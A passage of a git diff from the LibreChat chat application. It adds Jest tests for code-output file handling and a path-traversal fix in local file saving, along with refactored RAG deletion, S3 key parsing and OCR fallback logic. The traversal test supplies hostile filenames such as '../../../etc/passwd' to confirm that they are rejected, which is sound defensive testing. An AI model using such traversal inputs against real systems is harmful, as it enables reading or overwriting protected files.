+ const actual = jest.requireActual('librechat-data-provider');
+ return {
+ ...actual,
+ mergeFileConfig: jest.fn((config) => {
+ const merged = actual.mergeFileConfig(config);
+ // Override the serverFileSizeLimit with our test value
+ return {
+ ...merged,
+ get serverFileSizeLimit() {
+ return fileSizeLimitConfig.value;
+ },
+ };
+ }),
+ getEndpointFileConfig: jest.fn((options) => {
+ const config = actual.getEndpointFileConfig(options);
+ // Override fileSizeLimit with our test value
+ return {
+ ...config,
+ get fileSizeLimit() {
+ return fileSizeLimitConfig.value;
+ },
+ };
+ }),
+ };
+});
+
+const { FileContext } = require('librechat-data-provider');
+
+// Mock uuid
+jest.mock('uuid', () => ({
+ v4: jest.fn(() => 'mock-uuid-1234'),
+}));
+
+// Mock axios
+jest.mock('axios');
+const axios = require('axios');
+
+// Mock logger
+jest.mock('@librechat/data-schemas', () => ({
+ logger: {
+ warn: jest.fn(),
+ debug: jest.fn(),
+ error: jest.fn(),
+ },
+}));
+
+// Mock getCodeBaseURL
+jest.mock('@librechat/agents', () => ({
+ getCodeBaseURL: jest.fn(() => 'https://code-api.example.com'),
+}));
+
+// Mock logAxiosError and getBasePath
+jest.mock('@librechat/api', () => ({
+ logAxiosError: jest.fn(),
+ getBasePath: jest.fn(() => ''),
+ sanitizeFilename: jest.fn((name) => name),
+}));
+
+// Mock models
+const mockClaimCodeFile = jest.fn();
+jest.mock('~/models', () => ({
+ createFile: jest.fn().mockResolvedValue({}),
+ getFiles: jest.fn(),
+ updateFile: jest.fn(),
+ claimCodeFile: (...args) => mockClaimCodeFile(...args),
+}));
+
+// Mock permissions (must be before process.js import)
+jest.mock('~/server/services/Files/permissions', () => ({
+ filterFilesByAgentAccess: jest.fn((options) => Promise.resolve(options.files)),
+}));
+
+// Mock strategy functions
+jest.mock('~/server/services/Files/strategies', () => ({
+ getStrategyFunctions: jest.fn(),
+}));
+
+// Mock convertImage
+jest.mock('~/server/services/Files/images/convert', () => ({
+ convertImage: jest.fn(),
+}));
+
+// Mock determineFileType
+jest.mock('~/server/utils', () => ({
+ determineFileType: jest.fn(),
+}));
+
+const { createFile, getFiles } = require('~/models');
+const { getStrategyFunctions } = require('~/server/services/Files/strategies');
+const { convertImage } = require('~/server/services/Files/images/convert');
+const { determineFileType } = require('~/server/utils');
+const { logger } = require('@librechat/data-schemas');
+
+// Import after mocks
+const { processCodeOutput } = require('./process');
+
+describe('Code Process', () => {
+ const mockReq = {
+ user: { id: 'user-123' },
+ config: {
+ fileConfig: {},
+ fileStrategy: 'local',
+ imageOutputType: 'webp',
+ },
+ };
+
+ const baseParams = {
+ req: mockReq,
+ id: 'file-id-123',
+ name: 'test-file.txt',
+ apiKey: 'test-api-key',
+ toolCallId: 'tool-call-123',
+ conversationId: 'conv-123',
+ messageId: 'msg-123',
+ session_id: 'session-123',
+ };
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ // Default mock: atomic claim returns a new file record (no existing file)
+ mockClaimCodeFile.mockResolvedValue({
+ file_id: 'mock-uuid-1234',
+ user: 'user-123',
+ });
+ getFiles.mockResolvedValue(null);
+ createFile.mockResolvedValue({});
+ getStrategyFunctions.mockReturnValue({
+ saveBuffer: jest.fn().mockResolvedValue('/uploads/mock-file-path.txt'),
+ });
+ determineFileType.mockResolvedValue({ mime: 'text/plain' });
+ });
+
+ describe('atomic file claim (via processCodeOutput)', () => {
+ it('should reuse file_id from existing record via atomic claim', async () => {
+ mockClaimCodeFile.mockResolvedValue({
+ file_id: 'existing-file-id',
+ filename: 'test-file.txt',
+ usage: 2,
+ createdAt: '2024-01-01T00:00:00.000Z',
+ });
+
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(mockClaimCodeFile).toHaveBeenCalledWith({
+ filename: 'test-file.txt',
+ conversationId: 'conv-123',
+ file_id: 'mock-uuid-1234',
+ user: 'user-123',
+ });
+
+ expect(result.file_id).toBe('existing-file-id');
+ expect(result.usage).toBe(3);
+ expect(result.createdAt).toBe('2024-01-01T00:00:00.000Z');
+ });
+
+ it('should create new file when no existing file found', async () => {
+ mockClaimCodeFile.mockResolvedValue({
+ file_id: 'mock-uuid-1234',
+ user: 'user-123',
+ });
+
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(result.file_id).toBe('mock-uuid-1234');
+ expect(result.usage).toBe(1);
+ });
+ });
+
+ describe('processCodeOutput', () => {
+ describe('image file processing', () => {
+ it('should process image files using convertImage', async () => {
+ const imageParams = { ...baseParams, name: 'chart.png' };
+ const imageBuffer = Buffer.alloc(500);
+ axios.mockResolvedValue({ data: imageBuffer });
+
+ const convertedFile = {
+ filepath: '/uploads/converted-image.webp',
+ bytes: 400,
+ };
+ convertImage.mockResolvedValue(convertedFile);
+
+ const result = await processCodeOutput(imageParams);
+
+ expect(convertImage).toHaveBeenCalledWith(
+ mockReq,
+ imageBuffer,
+ 'high',
+ 'mock-uuid-1234.png',
+ );
+ expect(result.type).toBe('image/webp');
+ expect(result.context).toBe(FileContext.execute_code);
+ expect(result.filename).toBe('chart.png');
+ });
+
+ it('should update existing image file with cache-busted filepath', async () => {
+ const imageParams = { ...baseParams, name: 'chart.png' };
+ mockClaimCodeFile.mockResolvedValue({
+ file_id: 'existing-img-id',
+ usage: 1,
+ createdAt: '2024-01-01T00:00:00.000Z',
+ });
+
+ const imageBuffer = Buffer.alloc(500);
+ axios.mockResolvedValue({ data: imageBuffer });
+ convertImage.mockResolvedValue({ filepath: '/images/user-123/existing-img-id.webp' });
+
+ const result = await processCodeOutput(imageParams);
+
+ expect(convertImage).toHaveBeenCalledWith(
+ mockReq,
+ imageBuffer,
+ 'high',
+ 'existing-img-id.png',
+ );
+ expect(result.file_id).toBe('existing-img-id');
+ expect(result.usage).toBe(2);
+ expect(result.filepath).toMatch(/^\/images\/user-123\/existing-img-id\.webp\?v=\d+$/);
+ expect(logger.debug).toHaveBeenCalledWith(
+ expect.stringContaining('Updating existing file'),
+ );
+ });
+ });
+
+ describe('non-image file processing', () => {
+ it('should process non-image files using saveBuffer', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/saved-file.txt');
+ getStrategyFunctions.mockReturnValue({ saveBuffer: mockSaveBuffer });
+ determineFileType.mockResolvedValue({ mime: 'text/plain' });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(mockSaveBuffer).toHaveBeenCalledWith({
+ userId: 'user-123',
+ buffer: smallBuffer,
+ fileName: 'mock-uuid-1234__test-file.txt',
+ basePath: 'uploads',
+ });
+ expect(result.type).toBe('text/plain');
+ expect(result.filepath).toBe('/uploads/saved-file.txt');
+ expect(result.bytes).toBe(100);
+ });
+
+ it('should detect MIME type from buffer', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+ determineFileType.mockResolvedValue({ mime: 'application/pdf' });
+
+ const result = await processCodeOutput({ ...baseParams, name: 'document.pdf' });
+
+ expect(determineFileType).toHaveBeenCalledWith(smallBuffer, true);
+ expect(result.type).toBe('application/pdf');
+ });
+
+ it('should fallback to application/octet-stream for unknown types', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+ determineFileType.mockResolvedValue(null);
+
+ const result = await processCodeOutput({ ...baseParams, name: 'unknown.xyz' });
+
+ expect(result.type).toBe('application/octet-stream');
+ });
+ });
+
+ describe('file size limit enforcement', () => {
+ it('should fallback to download URL when file exceeds size limit', async () => {
+ // Set a small file size limit for this test
+ fileSizeLimitConfig.value = 1000; // 1KB limit
+
+ const largeBuffer = Buffer.alloc(5000); // 5KB - exceeds 1KB limit
+ axios.mockResolvedValue({ data: largeBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('exceeds size limit'));
+ expect(result.filepath).toContain('/api/files/code/download/session-123/file-id-123');
+ expect(result.expiresAt).toBeDefined();
+ // Should not call createFile for oversized files (fallback path)
+ expect(createFile).not.toHaveBeenCalled();
+
+ // Reset to default for other tests
+ fileSizeLimitConfig.value = 20 * 1024 * 1024;
+ });
+ });
+
+ describe('fallback behavior', () => {
+ it('should fallback to download URL when saveBuffer is not available', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+ getStrategyFunctions.mockReturnValue({ saveBuffer: null });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('saveBuffer not available'),
+ );
+ expect(result.filepath).toContain('/api/files/code/download/');
+ expect(result.filename).toBe('test-file.txt');
+ });
+
+ it('should fallback to download URL on axios error', async () => {
+ axios.mockRejectedValue(new Error('Network error'));
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(result.filepath).toContain('/api/files/code/download/session-123/file-id-123');
+ expect(result.conversationId).toBe('conv-123');
+ expect(result.messageId).toBe('msg-123');
+ expect(result.toolCallId).toBe('tool-call-123');
+ });
+ });
+
+ describe('usage counter increment', () => {
+ it('should set usage to 1 for new files', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(result.usage).toBe(1);
+ });
+
+ it('should increment usage for existing files', async () => {
+ mockClaimCodeFile.mockResolvedValue({
+ file_id: 'existing-id',
+ usage: 5,
+ createdAt: '2024-01-01',
+ });
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(result.usage).toBe(6);
+ });
+
+ it('should handle existing file with undefined usage', async () => {
+ mockClaimCodeFile.mockResolvedValue({
+ file_id: 'existing-id',
+ createdAt: '2024-01-01',
+ });
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(result.usage).toBe(1);
+ });
+ });
+
+ describe('metadata and file properties', () => {
+ it('should include fileIdentifier in metadata', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(result.metadata).toEqual({
+ fileIdentifier: 'session-123/file-id-123',
+ });
+ });
+
+ it('should set correct context for code-generated files', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(result.context).toBe(FileContext.execute_code);
+ });
+
+ it('should include toolCallId and messageId in result', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ const result = await processCodeOutput(baseParams);
+
+ expect(result.toolCallId).toBe('tool-call-123');
+ expect(result.messageId).toBe('msg-123');
+ });
+
+ it('should call createFile with upsert enabled', async () => {
+ const smallBuffer = Buffer.alloc(100);
+ axios.mockResolvedValue({ data: smallBuffer });
+
+ await processCodeOutput(baseParams);
+
+ expect(createFile).toHaveBeenCalledWith(
+ expect.objectContaining({
+ file_id: 'mock-uuid-1234',
+ context: FileContext.execute_code,
+ }),
+ true, // upsert flag
+ );
+ });
+ });
+ });
+});
diff --git a/api/server/services/Files/Firebase/crud.js b/api/server/services/Files/Firebase/crud.js
index 170df45677..d5e5a409bf 100644
--- a/api/server/services/Files/Firebase/crud.js
+++ b/api/server/services/Files/Firebase/crud.js
@@ -3,7 +3,7 @@ const path = require('path');
const axios = require('axios');
const fetch = require('node-fetch');
const { logger } = require('@librechat/data-schemas');
-const { getFirebaseStorage } = require('@librechat/api');
+const { getFirebaseStorage, deleteRagFile } = require('@librechat/api');
const { ref, uploadBytes, getDownloadURL, deleteObject } = require('firebase/storage');
const { getBufferMetadata } = require('~/server/utils');
@@ -167,27 +167,7 @@ function extractFirebaseFilePath(urlString) {
* Throws an error if there is an issue with deletion.
*/
const deleteFirebaseFile = async (req, file) => {
- if (file.embedded && process.env.RAG_API_URL) {
- const jwtToken = req.headers.authorization.split(' ')[1];
- try {
- await axios.delete(`${process.env.RAG_API_URL}/documents`, {
- headers: {
- Authorization: `Bearer ${jwtToken}`,
- 'Content-Type': 'application/json',
- accept: 'application/json',
- },
- data: [file.file_id],
- });
- } catch (error) {
- if (error.response?.status === 404) {
- logger.warn(
- `[deleteFirebaseFile] Document ${file.file_id} not found in RAG API, may have been deleted already`,
- );
- } else {
- logger.error('[deleteFirebaseFile] Error deleting document from RAG API:', error);
- }
- }
- }
+ await deleteRagFile({ userId: req.user.id, file });
const fileName = extractFirebaseFilePath(file.filepath);
if (!fileName.includes(req.user.id)) {
diff --git a/api/server/services/Files/Local/__tests__/crud-traversal.spec.js b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js
new file mode 100644
index 0000000000..57ba221d68
--- /dev/null
+++ b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js
@@ -0,0 +1,69 @@
+jest.mock('@librechat/api', () => ({ deleteRagFile: jest.fn() }));
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { warn: jest.fn(), error: jest.fn() },
+}));
+
+const mockTmpBase = require('fs').mkdtempSync(
+ require('path').join(require('os').tmpdir(), 'crud-traversal-'),
+);
+
+jest.mock('~/config/paths', () => {
+ const path = require('path');
+ return {
+ publicPath: path.join(mockTmpBase, 'public'),
+ uploads: path.join(mockTmpBase, 'uploads'),
+ };
+});
+
+const fs = require('fs');
+const path = require('path');
+const { saveLocalBuffer } = require('../crud');
+
+describe('saveLocalBuffer path containment', () => {
+ beforeAll(() => {
+ fs.mkdirSync(path.join(mockTmpBase, 'public', 'images'), { recursive: true });
+ fs.mkdirSync(path.join(mockTmpBase, 'uploads'), { recursive: true });
+ });
+
+ afterAll(() => {
+ fs.rmSync(mockTmpBase, { recursive: true, force: true });
+ });
+
+ test('rejects filenames with path traversal sequences', async () => {
+ await expect(
+ saveLocalBuffer({
+ userId: 'user1',
+ buffer: Buffer.from('malicious'),
+ fileName: '../../../etc/passwd',
+ basePath: 'uploads',
+ }),
+ ).rejects.toThrow('Path traversal detected in filename');
+ });
+
+ test('rejects prefix-collision traversal (startsWith bypass)', async () => {
+ fs.mkdirSync(path.join(mockTmpBase, 'uploads', 'user10'), { recursive: true });
+ await expect(
+ saveLocalBuffer({
+ userId: 'user1',
+ buffer: Buffer.from('malicious'),
+ fileName: '../user10/evil',
+ basePath: 'uploads',
+ }),
+ ).rejects.toThrow('Path traversal detected in filename');
+ });
+
+ test('allows normal filenames', async () => {
+ const result = await saveLocalBuffer({
+ userId: 'user1',
+ buffer: Buffer.from('safe content'),
+ fileName: 'file-id__output.csv',
+ basePath: 'uploads',
+ });
+
+ expect(result).toBe('/uploads/user1/file-id__output.csv');
+
+ const filePath = path.join(mockTmpBase, 'uploads', 'user1', 'file-id__output.csv');
+ expect(fs.existsSync(filePath)).toBe(true);
+ fs.unlinkSync(filePath);
+ });
+});
diff --git a/api/server/services/Files/Local/crud.js b/api/server/services/Files/Local/crud.js
index db553f57dd..c86774d472 100644
--- a/api/server/services/Files/Local/crud.js
+++ b/api/server/services/Files/Local/crud.js
@@ -1,9 +1,9 @@
const fs = require('fs');
const path = require('path');
const axios = require('axios');
+const { deleteRagFile } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { EModelEndpoint } = require('librechat-data-provider');
-const { generateShortLivedToken } = require('@librechat/api');
const { resizeImageBuffer } = require('~/server/services/Files/images/resize');
const { getBufferMetadata } = require('~/server/utils');
const paths = require('~/config/paths');
@@ -67,13 +67,24 @@ async function saveLocalBuffer({ userId, buffer, fileName, basePath = 'images' }
try {
const { publicPath, uploads } = paths;
- const directoryPath = path.join(basePath === 'images' ? publicPath : uploads, basePath, userId);
+ /**
+ * For 'images': save to publicPath/images/userId (images are served statically)
+ * For 'uploads': save to uploads/userId (files downloaded via API)
+ * */
+ const directoryPath =
+ basePath === 'images' ? path.join(publicPath, basePath, userId) : path.join(uploads, userId);
if (!fs.existsSync(directoryPath)) {
fs.mkdirSync(directoryPath, { recursive: true });
}
- fs.writeFileSync(path.join(directoryPath, fileName), buffer);
+ const resolvedDir = path.resolve(directoryPath);
+ const resolvedPath = path.resolve(resolvedDir, fileName);
+ const rel = path.relative(resolvedDir, resolvedPath);
+ if (rel.startsWith('..') || path.isAbsolute(rel) || rel.includes(`..${path.sep}`)) {
+ throw new Error('Path traversal detected in filename');
+ }
+ fs.writeFileSync(resolvedPath, buffer);
const filePath = path.posix.join('/', basePath, userId, fileName);
@@ -160,9 +171,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
}
/**
- * Validates if a given filepath is within a specified subdirectory under a base path. This function constructs
- * the expected base path using the base, subfolder, and user id from the request, and then checks if the
- * provided filepath starts with this constructed base path.
+ * Validates that a filepath is strictly contained within a subdirectory under a base path,
+ * using path.relative to prevent prefix-collision bypasses.
*
* @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`.
* @param {string} base - The base directory path.
@@ -175,7 +185,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
const isValidPath = (req, base, subfolder, filepath) => {
const normalizedBase = path.resolve(base, subfolder, req.user.id);
const normalizedFilepath = path.resolve(filepath);
- return normalizedFilepath.startsWith(normalizedBase);
+ const rel = path.relative(normalizedBase, normalizedFilepath);
+ return !rel.startsWith('..') && !path.isAbsolute(rel) && !rel.includes(`..${path.sep}`);
};
/**
@@ -208,27 +219,7 @@ const deleteLocalFile = async (req, file) => {
/** Filepath stripped of query parameters (e.g., ?manual=true) */
const cleanFilepath = file.filepath.split('?')[0];
- if (file.embedded && process.env.RAG_API_URL) {
- const jwtToken = generateShortLivedToken(req.user.id);
- try {
- await axios.delete(`${process.env.RAG_API_URL}/documents`, {
- headers: {
- Authorization: `Bearer ${jwtToken}`,
- 'Content-Type': 'application/json',
- accept: 'application/json',
- },
- data: [file.file_id],
- });
- } catch (error) {
- if (error.response?.status === 404) {
- logger.warn(
- `[deleteLocalFile] Document ${file.file_id} not found in RAG API, may have been deleted already`,
- );
- } else {
- logger.error('[deleteLocalFile] Error deleting document from RAG API:', error);
- }
- }
- }
+ await deleteRagFile({ userId: req.user.id, file });
if (cleanFilepath.startsWith(`/uploads/${req.user.id}`)) {
const userUploadDir = path.join(uploads, req.user.id);
diff --git a/api/server/services/Files/S3/crud.js b/api/server/services/Files/S3/crud.js
index 8dac767aa2..c821c0696c 100644
--- a/api/server/services/Files/S3/crud.js
+++ b/api/server/services/Files/S3/crud.js
@@ -1,9 +1,9 @@
const fs = require('fs');
const fetch = require('node-fetch');
-const { initializeS3 } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { FileSources } = require('librechat-data-provider');
const { getSignedUrl } = require('@aws-sdk/s3-request-presigner');
+const { initializeS3, deleteRagFile, isEnabled } = require('@librechat/api');
const {
PutObjectCommand,
GetObjectCommand,
@@ -13,6 +13,8 @@ const {
const bucketName = process.env.AWS_BUCKET_NAME;
const defaultBasePath = 'images';
+const endpoint = process.env.AWS_ENDPOINT_URL;
+const forcePathStyle = isEnabled(process.env.AWS_FORCE_PATH_STYLE);
let s3UrlExpirySeconds = 2 * 60; // 2 minutes
let s3RefreshExpiryMs = null;
@@ -142,6 +144,8 @@ async function saveURLToS3({ userId, URL, fileName, basePath = defaultBasePath }
* @returns {Promise}
*/
async function deleteFileFromS3(req, file) {
+ await deleteRagFile({ userId: req.user.id, file });
+
const key = extractKeyFromS3Url(file.filepath);
const params = { Bucket: bucketName, Key: key };
if (!key.includes(req.user.id)) {
@@ -250,15 +254,83 @@ function extractKeyFromS3Url(fileUrlOrKey) {
try {
const url = new URL(fileUrlOrKey);
- return url.pathname.substring(1);
+ const hostname = url.hostname;
+ const pathname = url.pathname.substring(1); // Remove leading slash
+
+ // Explicit path-style with custom endpoint: use endpoint pathname for precise key extraction.
+ // Handles endpoints with a base path (e.g. https://example.com/storage/).
+ if (endpoint && forcePathStyle) {
+ const endpointUrl = new URL(endpoint);
+ const startPos =
+ endpointUrl.pathname.length +
+ (endpointUrl.pathname.endsWith('/') ? 0 : 1) +
+ bucketName.length +
+ 1;
+ const key = url.pathname.substring(startPos);
+ if (!key) {
+ logger.warn(
+ `[extractKeyFromS3Url] Extracted key is empty for endpoint path-style URL: ${fileUrlOrKey}`,
+ );
+ } else {
+ logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`);
+ }
+ return key;
+ }
+
+ if (
+ hostname === 's3.amazonaws.com' ||
+ hostname.match(/^s3[-.][a-z0-9-]+\.amazonaws\.com$/) ||
+ (bucketName && pathname.startsWith(`${bucketName}/`))
+ ) {
+ // Path-style: https://s3.amazonaws.com/bucket-name/key or custom endpoint (MinIO, R2, etc.)
+ // Strip the bucket name (first path segment)
+ const firstSlashIndex = pathname.indexOf('/');
+ if (firstSlashIndex > 0) {
+ const key = pathname.substring(firstSlashIndex + 1);
+
+ if (key === '') {
+ logger.warn(
+ `[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: ${fileUrlOrKey}`,
+ );
+ } else {
+ logger.debug(
+ `[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`,
+ );
+ }
+
+ return key;
+ } else {
+ logger.warn(
+ `[extractKeyFromS3Url] Unable to extract key from path-style URL: ${fileUrlOrKey}`,
+ );
+ return '';
+ }
+ }
+
+ // Virtual-hosted-style or other: https://bucket-name.s3.amazonaws.com/key
+ // Just return the pathname without leading slash
+ logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${pathname}`);
+ return pathname;
} catch (error) {
+ if (fileUrlOrKey.startsWith('http://') || fileUrlOrKey.startsWith('https://')) {
+ logger.error(
+ `[extractKeyFromS3Url] Error parsing URL: ${fileUrlOrKey}, Error: ${error.message}`,
+ );
+ } else {
+ logger.debug(`[extractKeyFromS3Url] Non-URL input, using fallback: ${fileUrlOrKey}`);
+ }
+
const parts = fileUrlOrKey.split('/');
if (parts.length >= 3 && !fileUrlOrKey.startsWith('http') && !fileUrlOrKey.startsWith('/')) {
return fileUrlOrKey;
}
- return fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey;
+ const key = fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey;
+ logger.debug(
+ `[extractKeyFromS3Url] FALLBACK. fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`,
+ );
+ return key;
}
}
@@ -480,4 +552,5 @@ module.exports = {
refreshS3Url,
needsRefresh,
getNewS3URL,
+ extractKeyFromS3Url,
};
diff --git a/api/server/services/Files/process.js b/api/server/services/Files/process.js
index 30b47f2e52..d01128927a 100644
--- a/api/server/services/Files/process.js
+++ b/api/server/services/Files/process.js
@@ -16,6 +16,7 @@ const {
removeNullishValues,
isAssistantsEndpoint,
getEndpointFileConfig,
+ documentParserMimeTypes,
} = require('librechat-data-provider');
const { EnvVar } = require('@librechat/agents');
const { logger } = require('@librechat/data-schemas');
@@ -523,6 +524,12 @@ const processAgentFileUpload = async ({ req, res, metadata }) => {
* @return {Promise}
*/
const createTextFile = async ({ text, bytes, filepath, type = 'text/plain' }) => {
+ const textBytes = Buffer.byteLength(text, 'utf8');
+ if (textBytes > 15 * megabyte) {
+ throw new Error(
+ `Extracted text from "${file.originalname}" exceeds the 15MB storage limit (${Math.round(textBytes / megabyte)}MB). Try a shorter document.`,
+ );
+ }
const fileInfo = removeNullishValues({
text,
bytes,
@@ -553,29 +560,52 @@ const processAgentFileUpload = async ({ req, res, metadata }) => {
const fileConfig = mergeFileConfig(appConfig.fileConfig);
- const shouldUseOCR =
+ const shouldUseConfiguredOCR =
appConfig?.ocr != null &&
fileConfig.checkType(file.mimetype, fileConfig.ocr?.supportedMimeTypes || []);
- if (shouldUseOCR && !(await checkCapability(req, AgentCapabilities.ocr))) {
- throw new Error('OCR capability is not enabled for Agents');
- } else if (shouldUseOCR) {
+ const shouldUseDocumentParser =
+ !shouldUseConfiguredOCR && documentParserMimeTypes.some((regex) => regex.test(file.mimetype));
+
+ const shouldUseOCR = shouldUseConfiguredOCR || shouldUseDocumentParser;
+
+ const resolveDocumentText = async () => {
+ if (shouldUseConfiguredOCR) {
+ try {
+ const ocrStrategy = appConfig?.ocr?.strategy ?? FileSources.document_parser;
+ const { handleFileUpload } = getStrategyFunctions(ocrStrategy);
+ return await handleFileUpload({ req, file, loadAuthValues });
+ } catch (err) {
+ logger.error(
+ `[processAgentFileUpload] Configured OCR failed for "${file.originalname}", falling back to document_parser:`,
+ err,
+ );
+ }
+ }
try {
- const { handleFileUpload: uploadOCR } = getStrategyFunctions(
- appConfig?.ocr?.strategy ?? FileSources.mistral_ocr,
- );
- const {
- text,
- bytes,
- filepath: ocrFileURL,
- } = await uploadOCR({ req, file, loadAuthValues });
- return await createTextFile({ text, bytes, filepath: ocrFileURL });
- } catch (ocrError) {
+ const { handleFileUpload } = getStrategyFunctions(FileSources.document_parser);
+ return await handleFileUpload({ req, file, loadAuthValues });
+ } catch (err) {
logger.error(
- `[processAgentFileUpload] OCR processing failed for file "${file.originalname}", falling back to text extraction:`,
- ocrError,
+ `[processAgentFileUpload] Document parser failed for "${file.originalname}":`,
+ err,
);
}
+ };
+
+ if (shouldUseConfiguredOCR && !(await checkCapability(req, AgentCapabilities.ocr))) {
+ throw new Error('OCR capability is not enabled for Agents');
+ }
+
+ if (shouldUseOCR) {
+ const ocrResult = await resolveDocumentText();
+ if (ocrResult) {
+ const { text, bytes, filepath: ocrFileURL } = ocrResult;
+ return await createTextFile({ text, bytes, filepath: ocrFileURL });
+ }
+ throw new Error(
+ `Unable to extract text from "${file.originalname}". The document may be image-based and requires an OCR service to process.`,
+ );
}
const shouldUseSTT = fileConfig.checkType(
diff --git a/api/server/services/Files/process.spec.js b/api/server/services/Files/process.spec.js
new file mode 100644
index 0000000000..7737255a52
--- /dev/null
+++ b/api/server/services/Files/process.spec.js
@@ -0,0 +1,347 @@
+jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
+}));
+
+jest.mock('@librechat/agents', () => ({
+ EnvVar: { CODE_API_KEY: 'CODE_API_KEY' },
+}));
+
+jest.mock('@librechat/api', () => ({
+ sanitizeFilename: jest.fn((n) => n),
+ parseText: jest.fn().mockResolvedValue({ text: '', bytes: 0 }),
+ processAudioFile: jest.fn(),
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+ mergeFileConfig: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/images', () => ({
+ convertImage: jest.fn(),
+ resizeAndConvert: jest.fn(),
+ resizeImageBuffer: jest.fn(),
+}));
+
+jest.mock('~/server/controllers/assistants/v2', () => ({
+ addResourceFileId: jest.fn(),
+ deleteResourceFileId: jest.fn(),
+}));
+
+jest.mock('~/models/Agent', () => ({
+ addAgentResourceFile: jest.fn().mockResolvedValue({}),
+ removeAgentResourceFiles: jest.fn(),
+}));
+
+jest.mock('~/server/controllers/assistants/helpers', () => ({
+ getOpenAIClient: jest.fn(),
+}));
+
+jest.mock('~/server/services/Tools/credentials', () => ({
+ loadAuthValues: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+ createFile: jest.fn().mockResolvedValue({ file_id: 'created-file-id' }),
+ updateFileUsage: jest.fn(),
+ deleteFiles: jest.fn(),
+}));
+
+jest.mock('~/server/utils/getFileStrategy', () => ({
+ getFileStrategy: jest.fn().mockReturnValue('local'),
+}));
+
+jest.mock('~/server/services/Config', () => ({
+ checkCapability: jest.fn().mockResolvedValue(true),
+}));
+
+jest.mock('~/server/utils/queue', () => ({
+ LB_QueueAsyncCall: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/strategies', () => ({
+ getStrategyFunctions: jest.fn(),
+}));
+
+jest.mock('~/server/utils', () => ({
+ determineFileType: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/Audio/STTService', () => ({
+ STTService: { getInstance: jest.fn() },
+}));
+
+const { EToolResources, FileSources, AgentCapabilities } = require('librechat-data-provider');
+const { mergeFileConfig } = require('librechat-data-provider');
+const { checkCapability } = require('~/server/services/Config');
+const { getStrategyFunctions } = require('~/server/services/Files/strategies');
+const { processAgentFileUpload } = require('./process');
+
+const PDF_MIME = 'application/pdf';
+const DOCX_MIME = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
+const XLSX_MIME = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
+const XLS_MIME = 'application/vnd.ms-excel';
+const ODS_MIME = 'application/vnd.oasis.opendocument.spreadsheet';
+const ODT_MIME = 'application/vnd.oasis.opendocument.text';
+const ODP_MIME = 'application/vnd.oasis.opendocument.presentation';
+const ODG_MIME = 'application/vnd.oasis.opendocument.graphics';
+
+const makeReq = ({ mimetype = PDF_MIME, ocrConfig = null } = {}) => ({
+ user: { id: 'user-123' },
+ file: {
+ path: '/tmp/upload.bin',
+ originalname: 'upload.bin',
+ filename: 'upload-uuid.bin',
+ mimetype,
+ },
+ body: { model: 'gpt-4o' },
+ config: {
+ fileConfig: {},
+ fileStrategy: 'local',
+ ocr: ocrConfig,
+ },
+});
+
+const makeMetadata = () => ({
+ agent_id: 'agent-abc',
+ tool_resource: EToolResources.context,
+ file_id: 'file-uuid-123',
+});
+
+const mockRes = {
